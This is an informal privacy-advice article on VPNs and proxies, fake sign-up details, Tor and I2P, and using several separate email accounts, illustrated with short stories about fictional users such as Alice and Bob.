Protecting Personal Information:

Virtual Private Networks ("VPNs") and proxies are most commonly used to encrypt traffic and hide one's IP address.

There are two main reasons why others would want to use them:

To access or use a service that would not normally be available to them

Example: Jonas lives in Germany and wants to watch a music video on YouTube.  However, when Jonas clicks on the video, YouTube displays a message that the video is only available in certain countries because of copyright issues.  To watch the video, Jonas connects to YouTube through a proxy server located in America.

To prevent others from recording their actual IP address (a legitimate concern at times, not always paranoia or to get away with cyber crime)

Example: John is a married man, but he is not so faithful...  He uses Ashley Madison to find friends (if you would call them that).  John used a random alias and email when he signed up, but he also only connects to the website through a VPN.  When John learned that Ashley Madison got hacked, he was not so scared.

Check out this CBS article on data brokers, it does a decent job of explaining how the personal information that you use to sign-up on various websites and services is sold.

You can easily avoid having your personal information sold by simply using fake information when signing up.  Just make sure that you are using fake information, not valid information that actually belongs to someone, even if it is a stranger.

Using TOR or I2P:

While many use TOR and I2P to help protect personal information and to safely browse the internet (myself included), a good number of TOR and I2P users are cyber-criminals.  We can use TOR/I2P "illegal" marketplaces as an example.  In theory, criminals can buy and sell items such as 0day exploits, credit card numbers, weapons, and drugs while remaining anonymous using Bitcoin.  Law enforcement cannot find hidden service IP addresses without using some type of exploit.  If they were to gain access to the hidden service, they would most likely just shut it down because unmasking it's users could prove to be a difficult task.

Using Numerous Random Emails:

As far as using "one-shot" email addresses, it is not really that bad of an idea.  Here is a great example of why it is, in fact, a good idea.

Alice uses one, main email for everything she does including but not limited to social media, paying bills, receiving transcripts of tax returns, sending scans of personally identifiable items such as her social security number and driver license, and online shopping.  She used an extremely, insecure password while signing up and never bothered to change it.  Not to mention, Alice never deletes her emails.  Her email is eventually compromised after five years of use, and the attacker now at least knows the following about Alice: full name, date of birth, address records, phone records, mother's maiden name, social security number, federal ID, state ID, driver license number, driver license issue date, driver license expiration date, private social media messages (private and direct messages), full credit card numbers along with their expiration dates (Amazon shows you the credit card issuer, last 4 digits, and expiration date while a credit reports shows you everything except the last 4 digits) , and everything that was in Alice's "sent" folder.  Alice now has a huge mess to clean up.

This could be avoided by making an email for each type of online activity.

Bob does a lot online, in fact, he does everything that Alice does (paying bills, shopping, and receiving important documents in his inbox).  However, there are quite a few differences between them.  Bob uses five different emails while Alice only uses one.  Instead of using an insecure, single password, Bob uses a different, secure, randomly generated password for each email.  He writes the passwords down in a notebook, so that he does not forget them.  Bob also deletes all emails that receives, if he needs to save something, he downloads the email/attachment or writes the important information down in a notebook.  Even if an attacker did somehow gain access to one of Bob's emails, they would not find anything because Bob is smart and deletes his emails.